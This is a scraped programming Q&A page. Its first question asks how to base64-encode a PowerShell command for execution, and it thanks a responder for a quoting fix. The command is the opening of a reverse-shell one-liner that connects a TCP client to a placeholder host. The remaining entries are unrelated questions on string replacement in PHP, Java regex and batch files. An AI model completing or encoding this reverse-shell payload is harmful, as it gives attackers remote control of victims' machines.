When I try to convert the following code in powershell:
[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("**$sm=**(New-Object Net.Sockets.TCPClient('1.2.3.4',21)).GetStream();[byte[]]$b ..etc ..etc ..etc
the result base64 encoded string execution failed.
I get "**+** =(New-Object Net.Sockets.TCPClient" without $sm.
It turns out "+" instead of $sm??
How to encode it in order to include $ into my code to run it properly ?
Mathias R. Jessen, you are absolutely right!
I have changed a single quote to double inside of code and embraced it with a single quote.
Thank you!!
Related
I want to remove the first dash of this string XXXXX-080-YYYYT in order to get a string that looks like XXXXX080-YYYYT with Powershell. No matter how long the word is, my goal is to remove the first dash. Please, can you tell me how to remove this dash from my string? . Thanks in advance.
$string= "XXXXX-080-YYYYT"
$string.Remove($string.IndexOf("-"),1)
I am trying to convert a string number from one MySQL table to another.
I have used the following on many occasions, however it does not seem to be working in this instance and I am unsure as to why. The string it is converting is 50,000.00.
With that formula in tMap it produces the following error:
When I look at the code on 3031:
So something is just not functioning as I expect. Any help would be great.
In regex syntax, "$" indicates the end of the string. In your regex, you are trying to remove any character after the end of the string which is not a number or a dot, which won't work, so the "," is never removed from your string, resulting in a conversion error.
You can do this:
new BigDecimal(row1.Trade_Amount.replaceAll("[^\\d.]", ""))
I have $stringF. Contained within $stringF is the following (the string is all one line, not word-wrapped as below):
http://news.google.com/news/url?sa=t&fd=R&ct2=us&usg=
AFQjCNHWQk0M4bZi9xYO4OY4ZiDqYVt2SA&clid=
c3a7d30bb8a4878e06b80cf16b898331&cid=52779892300270&ei=
H4IAW6CbK5WGhQH7s5SQAg&url=https://abcnews.
go.com/Lifestyle/wireStory/latest-royal-wedding-thousands-streets-windsor-55280649
I want to locate that string and make it look like this:
https://abcnews.go.com/Lifestyle/wireStory/latest-royal-
wedding-thousands-streets-windsor-55280649
Basically I need to use preg_replace to find the following string:
http://news.google.com/news/url?sa= ***SOME UNKNOWN CONTENT*** &url=http
and replace it with the following string:
http
I'm a little rusty with my php, and even rustier with regular expressions, so I'm struggling to figure this one out. My code looks like this:
$stringG = preg_replace('http://news.google.com/news/url?sa=*&url=http','http',$stringH);
except I know I can't use wildcards and I know I need to specially deal with the special characters (colon, forward slash, question mark, and sign, etc). Hoping someone can help me out here.
Also of note is that my $stringF contains multiple instances of such strings, so I need the preg_replace to be not greedy - otherwise it will replace a huge chunk of my string unnecessarily.
PHP has tools for that, no need to use a regex. parse_url to get the components of an url (scheme, host, path, anchor, query, ...) and parse_str to get the keys/values of the query part.
$url = 'http://news.google.com/news/url?sa=t&fd=R&ct2=us&usg=AFQjCNHWQk0M4bZi9xYO4OY4ZiDqYVt2SA&clid=c3a7d30bb8a4878e06b80cf16b898331&ci=52779892300270&ei=H4IAW6CbK5WGhQH7s5SQAg&url=https://abcnews.go.com/Lifestyle/wireStory/latest-royal-wedding-thousands-streets-windsor-55280649';
parse_str(parse_url($url, PHP_URL_QUERY), $arr);
echo $arr['url'];
Why I cannot use str_replace() to replace content between the ""? While I replace links within a file they get skipped since they are within quotes.
Example.
href="/path/to/file/is/here"
should be
href="/New/Path/To/File/Goes/Here"
If the paths/urls were not in quotes, str_replace() would work.
I'm assuming this is PHP. So, from the examples here:
http://php.net/manual/en/function.str-replace.php
You can see that you should not intercalate the same type of quotes.
So try changing the quotes in your code to single quotes or, change, the double quotes in your html to single quotes.
If that's not it, I hope at least that doc reference helps you.
This might help I usually code in java but php is pretty similar. Next time input part of your code so that the community can see your logic.
In your if statement on line 67 the 3rd variable $stringToSearch should be regex not the string your assigning it to. The purpose of regex as you know is to replace characters you don't want in your code as you already know
What you had that was not working:
// replacing string from files
//$stringToSearch = str_replace('"', "!!", $stringToSearch);
$stringToSearch = str_replace($toBeReplaced, $toBeReplacedWith, $stringToSearch);
//$stringToSearch = str_replace("!!", '"', $stringToSearch);
What I am thinking it should be:
$stringToRegex = str_replace('"', "!!", $stringToSearch);
$stringToSearch = str_replace($toBeReplaced, $toBeReplacedWith, $stringToRegex );
If anyone else has any suggestion it would be appreciated as i don't code in php.
I have a requirement in which I need to replace particular character from a string, by using a DOS command.
For example, if my string is "1,2,3,4", I need to get the result "1.2.3.4" by replacing each "," with a "." character.
Following will work for you
#echo off
set string1=1,2,3,4
set string2=%string1:,=.%
echo %string2%
This will give you an idea of what to do, not knowing exactly how you get the string to begin with.
set str=1,2,3,4
set str=%str:,=.%